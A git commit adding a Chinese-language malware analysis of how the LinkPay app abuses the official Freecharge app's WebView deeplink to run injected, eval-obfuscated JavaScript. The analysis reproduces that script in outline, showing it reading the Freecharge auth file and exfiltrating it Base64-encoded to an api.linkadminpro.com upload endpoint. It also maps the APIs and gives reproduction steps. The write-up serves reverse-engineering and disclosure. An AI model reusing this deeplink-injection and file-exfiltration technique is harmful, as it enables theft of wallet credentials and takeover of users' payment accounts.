new mobikwik

This commit is contained in:
2026-07-29 22:41:33 +08:00
parent 14d0ef42b3
commit 4086b64fc0
8 changed files with 835 additions and 69 deletions
+482
View File
@@ -0,0 +1,482 @@
# LinkPay Freecharge 授权分析
## 样本来源
| 项目 | 值 |
|------|-----|
| 平台 App | LinkPay`uni.app.UNIBA00479`v1.1.9 |
| 后端 API | `https://api.linkcorex.com` |
| 钱包类型 | `walletType = 2` / `ctype = 2` |
| 授权页面 | `pages/wallet/freecharge-auth``FreechargeAuthPage` |
| 分析样本 | `linkpay/apks/linkpay.apk` |
| 抓包样本 | `freecharge_logs/logsrv_2026-07-28_23-06-50_15.har``freePrepare` |
> LinkPay 是 UniAppDCloud)应用。Freecharge **不下载魔改 APK**,也**不使用** InstallPlugin`xyz.rush.plugin`)。但授权链路会利用**官方 Freecharge App 的 WebView 容器**读取本地 auth 文件并外传。
---
## 结论摘要
LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 `tempKey` 会话,**实际抓包显示**
1. `freePrepare` 返回嵌套 deeplink,在官方 Freecharge 内打开 WebView`action=wv`
2. WebView 加载服务端注入的 HTML/JS**读取官方 App 本地 auth 文件**并 Base64 上传
3. LinkPay 客户端轮询 `check`,待后端收到凭据后返回 `upiList`
4. 用户选择 UPI → `linkConfirm` 完成绑定
**不需要魔改 Freecharge 包**,也**没有** MobiKwik 那套 `Tail-TokenReceiver` 本地 Hook;但**并非正规 OAuth**,而是通过官方 App WebView 实现的**凭据窃取**。
---
## 与其他钱包的分流逻辑
添加钱包时,服务端返回的 `isHook` 决定走哪条链路(`add-wallet` 页面):
| `isHook` | 目标页面 | 机制 |
|----------|----------|------|
| `1` | `wallet-guide` | 下载服务端 APK → 安装 → 原生插件读 token |
| `2` | **`freecharge-auth`** | **官方 App WebView + 读 auth 文件 + 后端 `tempKey` 会话** |
| 其他 + `url` | `web-login` | WebView 打开登录页 |
| 其他 + `otp` | `wizard` | OTP 向导流程 |
Freecharge 固定为 `isHook = 2`,因此不会进入 `wallet-guide`,也不会在 `downloads/` 目录留下 APK 缓存。
对比 MobiKwik`walletType = 4``isHook = 1`):
```
MobiKwik: freePrepare ❌ → wallet-guide → 下载 APK → TokenReceiver Hook
Freecharge: freePrepare ✅ → freecharge-auth → openURL → 轮询 check → linkConfirm
```
---
## 整体链路
```
LinkPay (uni.app.UNIBA00479)
│ 用户选择 Freecharge 绑定
│ isHook=2 → /pages/wallet/freecharge-auth
POST api.linkcorex.com/.../freePrepare { ctype: 2 }
│ 返回 tempKey + url(嵌套 deeplink + 恶意 HTML
plus.runtime.openURL(url)
│ freecharge://home?action=wv&url=<内层 fc/app?html=...>
官方 Freecharge App 打开 WebView
│ JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb
│ POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign }
LinkPay 轮询 POST api.linkcorex.com/.../check { tempKey }
│ status = 3 且 upiList 非空 → 授权完成
用户在 LinkPay 选择要绑定的 UPI
POST api.linkcorex.com/.../linkConfirm { tempKey, upiList }
绑定成功 → /pages/wallet/add-success
```
---
## 前端实现(FreechargeAuthPage
源码位置:`assets/apps/__UNI__BA00479/www/app-service.js`webpack module `55bb`
### 状态机
| 状态 | 含义 |
|------|------|
| `preparing` | 正在调用 `freePrepare` |
| `authStarted` | 已拿到 `authUrl`,等待用户在 Freecharge 完成授权 |
| `prepareDone` | 轮询成功,UPI 列表已返回,等待用户选择 |
| `expired` | 会话超时(默认 `expireSeconds`,通常 600s |
| `confirming` | 正在调用 `linkConfirm` |
### 关键方法
| 方法 | 作用 |
|------|------|
| `startAuthentication()` | 调用 `freePrepare`,启动倒计时和轮询,自动 `openAuthUrl()` |
| `openAuthUrl()` | `plus.runtime.openURL(this.authUrl)` 打开官方授权 |
| `checkAuthorization()` | 轮询 `check` APIstatus=3 时解析 `upiList` |
| `initUpiSelection()` | 加载多选配置、历史已绑 UPI,初始化选择列表 |
| `confirmLink()` | 提交选中的 UPI 到 `linkConfirm` |
### UI 文案(暗示依赖官方 App)
- *"Please complete the authorization in Freecharge."*
- *"Return here after completing authorization in Freecharge."*
- 按钮:*"Go to Authenticate"* / *"Open Freecharge Again"*
---
## API 接口
Base URL`https://api.linkcorex.com`
| 接口 | 方法 | 路径 | 请求 | 响应要点 |
|------|------|------|------|----------|
| 准备授权 | POST | `/app/ct/app/collection/freePrepare` | `{ ctype: 2, walletId?, id?, ... }` | `{ tempKey, url, phone, expireSeconds }` |
| 轮询结果 | POST | `/app/ct/app/collection/check` | `{ tempKey }` | `{ status, upiList, phone, sessionId, sign, ... }` |
| **凭据回传** | POST | `api.linkadminpro.com/.../freeSubmit` | `{ b64, userId, sign }` + `sessionId` query | `{ code: 1000, data: true }` |
| 确认绑定 | POST | `/app/ct/app/collection/linkConfirm` | `{ tempKey, upiList[] }` | 成功 code=1000 |
| UPI 多选配置 | GET | `/app/ct/type/ctType/{id}` | wallet config id | `{ multiple, multipleNum }` |
| 已绑钱包列表 | GET | `/app/ct/app/collection/getWalletList` | — | 用于锁定历史 UPI |
### `check` 轮询逻辑
- 首次延迟 1200ms,之后每 1500ms 重试
- `status === 3``upiList.length > 0` → 授权完成
- 网络失败自动重试,显示 *"Network is unstable. Retrying automatically..."*
- 超时后 `expired = true`,需重新 `startAuthentication()`
### UPI 格式校验
```javascript
/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/
```
---
## 付款时的 Freecharge 调用
INR 订单付款页(`pages/payment/inr-order`)对 Freecharge 单独处理:
```javascript
// payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent
if (payoutWalletType === 2) {
plus.runtime.openURL(order.freechargeIntent)
} else {
plus.runtime.openURL(order.intent) // MobiKwik / PhonePe 等
}
```
付款同样通过 `plus.runtime.openURL` 调起官方 Freecharge,不涉及魔改包。
---
## 与 ShowPay / WinPay 的对比
| 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge |
|------|-------------------|----------------------------|
| 下载器 | 无(官方包即可) | InstallPlugin`xyz.rush.plugin` |
| APK 来源 | 不下载 | 缓存 `fcv76.apk`(魔改包) |
| 包名 | 官方 `com.freecharge.android` | 同名但注入后门 |
| 授权方式 | 官方 App WebView + 读 auth 文件 + `tempKey` 轮询 | AIDL `com.longfafa.pay.BIND_SERVICE` |
| 本地 Hook | 无原生插件;WebView JS 读本地文件 | 有(`com.longfafa.paylib.JobService` |
| 获取数据 | `auth.preferences_pb` → 服务端解析 UPI | token / 手机号 / UPI / FCM 等(本地 IPC 窃取) |
| 后端 | `api.linkcorex.com` + `api.linkadminpro.com` | `api.showpay-web.com` 等 |
---
## 获取到的数据范围
LinkPay Freecharge 授权完成后,客户端可见的数据:
| 数据 | 来源 | 说明 |
|------|------|------|
| UPI 地址列表 | `check` 响应 `upiList` | 用户在 LinkPay 中选择子集提交 |
| 手机号 | `freePrepare` / `check` 响应 `phone` | 用于匹配历史绑定 |
| 绑定关系 | `linkConfirm` 成功后写入平台 | walletId + UPI + phone |
**抓包确认的实际窃取行为**`freecharge_logs`):
| 行为 | 详情 |
|------|------|
| 读取本地 auth 文件 | `com.freecharge.android.auth.preferences_pb` |
| 外传域名 | `api.linkadminpro.com`(与主 API `api.linkcorex.com` 不同) |
| 外传接口 | `POST /app/ct/app/collection/freeSubmit?sessionId=...` |
| 外传内容 | auth 文件 Base64`{ b64, userId, sign }` |
**未观察到**以下行为:
- 下载 / 安装魔改 Freecharge APK
- 使用 `Tail-TokenReceiver` 原生插件(Freecharge 授权页不调用)
- 注册 `com.longfafa.pay.BIND_SERVICE` 类 IPC 后门
---
## 授权 Deeplink(核心,已抓包确认)
### 关键结论
**LinkPay 客户端里没有写死 Freecharge 授权 deeplink。**
`url` 完全由服务端在 `freePrepare` 响应里动态下发(约 21KB),前端只做:
```javascript
// freecharge-auth.vue → openAuthUrl()
plus.runtime.openURL(this.authUrl)
// authUrl = freePrepare 响应里的 data.url
```
客户端 JS 中**不存在** `freecharge://``fc/app` 等硬编码字符串;但服务端下发的 URL 是**三层嵌套结构**。
### freePrepare 真实响应(`freecharge_logs`2026-07-28 23:06:50
```json
{
"code": 1000,
"data": {
"ctype": 2,
"phone": "",
"expireSeconds": 600,
"tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f",
"url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..."
}
}
```
### 三层 Deeplink 结构
**第 1 层 — 外层(LinkPay `openURL` 直接打开)**
```text
freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码>
```
| 参数 | 值 | 含义 |
|------|-----|------|
| `action` | `wv` | 打开 WebView 容器(非 IncoinPay 付款用的 `view` |
| `displayBar` | `false` | 隐藏导航栏 |
| `showLoader` | `true` | 显示加载动画 |
| `url` | 内层 `https://freecharge.in/fc/app?...` | 嵌套目标 |
**第 2 层 — 内层(Freecharge App 内 WebView 加载)**
```text
https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html=<HTML+JS>
```
**第 3 层 — 嵌入 HTML/JS(恶意载荷)**
完整载荷已从 HAR 解码,保存在:
```
linkpay/freecharge_payload/
├── auth_webview.html # 格式化后的 HTML(含可读 JS)
├── auth_webview_raw.html # 从 html= 参数直接解码的原始串
└── auth_payload.js # eval(String.fromCharCode(...)) 解码后的 JS
```
**完整 HTML 结构:**
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body{margin:0;display:flex;flex-direction:column;align-items:center;
justify-content:center;min-height:100vh;background:#f5f5f5;font-family:sans-serif;}
#icon{font-size:64px;margin-bottom:16px}
#msg{font-size:20px;font-weight:bold;margin-bottom:12px;color:#333}
#hint{font-size:14px;color:#888;text-align:center;padding:0 24px}
</style>
</head>
<body>
<div id="icon"></div>
<div id="msg">Processing…</div>
<div id="hint">Please wait</div>
<script>eval(String.fromCharCode(...))</script> <!-- 9418 字符,见 auth_payload.js -->
</body>
</html>
```
页面 UI 显示:
-*Processing…*
- *Please wait*
- 成功:✅ *Authorization Successful* / *You can now return to the previous app.*
- 失败:❌ *Authorization Failed*
**完整 JS 载荷(`auth_payload.js`,已去混淆):**
```javascript
(function(){
var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb';
var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14';
var UID = 242204;
var SIGN = '9c63f2267554888b9c07fc80e2dbb85f';
function showSuccess() { /* ✅ Authorization Successful */ }
function showFail(reason) { /* ❌ Authorization Failed */ }
function toB64(bin) {
// 逐字节读取二进制,btoa 编码
}
function xhrSync(method, url, body, ct) {
// 同步 XMLHttpRequest
}
function uploadJSONP(b64) {
// POST 失败时 fallback:动态插入 <script src=UPLOAD&callback=...&b64=...>
}
function doUpload(b64) {
// 优先 POST JSON { b64, userId, sign },失败走 JSONP
}
function run() {
// 1. 检查 context:仅允许 file: / null originFreecharge WebView 本地页)
if (location.protocol !== 'file:' && location.origin !== 'null' && location.origin !== '') {
showFail('Wrong context'); return;
}
// 2. 同步 GET 读取 auth.preferences_pb
// 3. toB64 编码
// 4. doUpload 上传
}
try { run(); } catch(e) { showFail('Unexpected error'); }
})();
```
**JS 行为要点:**
| 步骤 | 行为 |
|------|------|
| 环境检查 | 非 `file:` / `null` origin 则拒绝(防浏览器直接打开) |
| 读文件 | 同步 XHR GET `auth.preferences_pb``overrideMimeType('text/plain; charset=x-user-defined')` |
| 编码 | 逐字节 `charCodeAt & 255``btoa` |
| 上传 | 先 `POST` JSON;失败则 JSONP `<script src=...>` |
| 成功判定 | 响应 `{ code: 1000, data: true }` |
| 混淆 | 外层 HTML 用 `eval(String.fromCharCode(...))` 隐藏 9418 字符 JS |
### 关联会话字段(`check` 响应,同一次抓包)
| 字段 | 值 |
|------|-----|
| `tempKey` | `9c63f226-7554-888b-9c07-fc80e2dbb85f` |
| `sessionId` | `3438ded7-e0a2-451e-9ef3-6f3af2862e14` |
| `sign` | `9c63f2267554888b9c07fc80e2dbb85f` |
| `userInfoId` | `242204` |
| `status` | `0`(轮询中,`upiList` 为空) |
| `addressMd5` | `adb833b5b838b3f5be46c6971b331f5a` |
---
### 官方 Freecharge App 注册的 Scheme`com.freecharge.android` v21.3.0
`/storage/emulated/0/Download/freecharge.apk` Manifest 提取:
| Scheme | Host / Path | 用途 | 入口 Activity |
|--------|-------------|------|---------------|
| `freecharge://` | (无 host | 通用 deep link | `MainActivity` |
| `freecharge://` | `home` | 应用内页面跳转 | `MainActivity` |
| `freecharge://` | `login` | **登录/授权相关** | `MainActivity` |
| `freecharge://` | `splash` | 启动页 | `MainActivity` |
| `freecharge://` | `helpcenter` | 帮助中心 | `HelpCenterActivity` |
| `freecharge://` | `pay` | UPI 支付 | `UpiIntentActivity` |
| `freechargeupi://` | `pay` | UPI 支付 | `UpiIntentActivity` |
| `freechargegtk://` | (无 host | GTK 回调(类似 MobiKwik 的 `mobikwikgtk://getToken` | `MainActivity` |
| `upi://` | `pay` / `mandate` | 标准 UPI | `UpiIntentActivity` |
| `https://` | `freecharge.in` / `www.freecharge.in` | App Link | `MainActivity` |
| `https://` | `freechargebiz.in` / `www.freechargebiz.in` | Biz 版 App Link | `MainActivity` |
| `https://` | `frch.in` | 短链 | `MainActivity` |
官方 App 内还内置 `res/raw/deeplink_cached.json`,常见 **Biz 版 Web 容器**格式:
```
https://www.freechargebiz.in/fc/app?action=wv&title=...&url=https://www.freecharge.in/...?isAppSdk=true&shortCode=XX
```
也有原生页跳转:
```
https://www.freechargebiz.in/fc/app?action=view&page=home
https://www.freechargebiz.in/fc/app?action=view&page=paylater
```
---
### 参考:同类平台的 Freecharge Deeplink
#### 1. IncoinPay 付款(已反编译确认)
`GrabDetailActivity.java` 构造 Freecharge 付款链接:
```java
// toolType == 8 (Freecharge)
cVar2.put("action", "view");
cVar2.put("page", "upi_pay");
cVar2.put("receiverVpa", account + "@" + ifsc + ".ifsc.npci");
str = "freecharge://home?" + queryString;
// 最终形如:
// freecharge://home?action=view&page=upi_pay&receiverVpa=XXXX@IFSC.ifsc.npci
```
LinkPay 付款侧同样用 `freechargeIntent`,结构应与上述类似(服务端下发,非客户端拼)。
#### 2. LinkPay 授权 vs 付款(已确认 vs 推测)
| 场景 | 字段 | 来源 API | Deeplink 形态 |
|------|------|----------|---------------|
| **绑定授权** | `authUrl` / `data.url` | `freePrepare` | `freecharge://home?action=wv&url=<fc/app?html=恶意JS>` ✅ 已抓包 |
| **订单付款** | `freechargeIntent` | 订单详情 API | `freecharge://home?action=view&page=upi_pay&receiverVpa=...`(参考 IncoinPay |
授权与付款使用**不同的 `action`**
- 授权:`action=wv`WebView + 读文件)
- 付款:`action=view&page=upi_pay`(原生 UPI 页)
#### 3. 对比 MobiKwikLinkPay APK 下载链路)
| | Freecharge 授权 | MobiKwik 绑定 |
|---|---|---|
| 入口 | `freePrepare``openURL` | `wallet-guide` → 下载 APK → `TokenReceiver` |
| 读凭据 | WebView JS 读 `preferences_pb` | 原生插件 `openTargetAppByType("newmob")` |
| 回传 | `api.linkadminpro.com/freeSubmit` | 本地存储 + `linkPrepare` |
| 魔改包 | 不需要 | 需要(GitHub 下发 APK |
---
### 服务端配置补充(`listEnabledCtTypes` 抓包)
Freecharge`ctType=2`)的 `loginOption` 字段:
```json
{
"url": null,
"valueType": null,
"otp": 4,
"isHook": 2,
"guideUrl": "",
"apkDownloadUrl": "https://d1a6nbwk78otoo.cloudfront.net/free2368484936.apk"
}
```
> 注意:虽然配置了 `apkDownloadUrl`,但 `isHook=2` 实际走 `freecharge-auth` 而非 `wallet-guide`,该 APK 链接**未被本次授权流程使用**。
---
## 复现与验证建议
1. 在 LinkPay 中添加 Freecharge 钱包(`isHook=2` 会自动进入 `freecharge-auth` 页)
2. 安装**官方** Freecharge`com.freecharge.android`
3. 抓包目标:
- `POST api.linkcorex.com/.../freePrepare` → 记录 `data.url` 完整字符串(约 21KB
- `POST api.linkadminpro.com/.../freeSubmit` → 记录 `b64` 外传
- `POST api.linkcorex.com/.../check` → 观察 `status``0``3``upiList`
- `POST api.linkcorex.com/.../linkConfirm` → 确认最终提交字段
4. 对比:LinkPay `downloads/` 目录应**无** Freecharge APK(与 MobiKwik 不同)
---
## 相关文件
```
linkpay/
├── apks/
│ ├── linkpay.apk # LinkPay 本体
│ └── MobiKwik_linkpay.apk # 对比:MobiKwik 走 APK 下载链路
├── freecharge_payload/ # 从 HAR 解码的嵌套 HTML/JS 载荷
│ ├── auth_webview.html
│ ├── auth_webview_raw.html
│ └── auth_payload.js
└── freecharge.md # 本文档
freecharge_logs/ # 抓包 HAR(含 freePrepare 真实 deeplink
└── logsrv_2026-07-28_23-06-50_15.har
```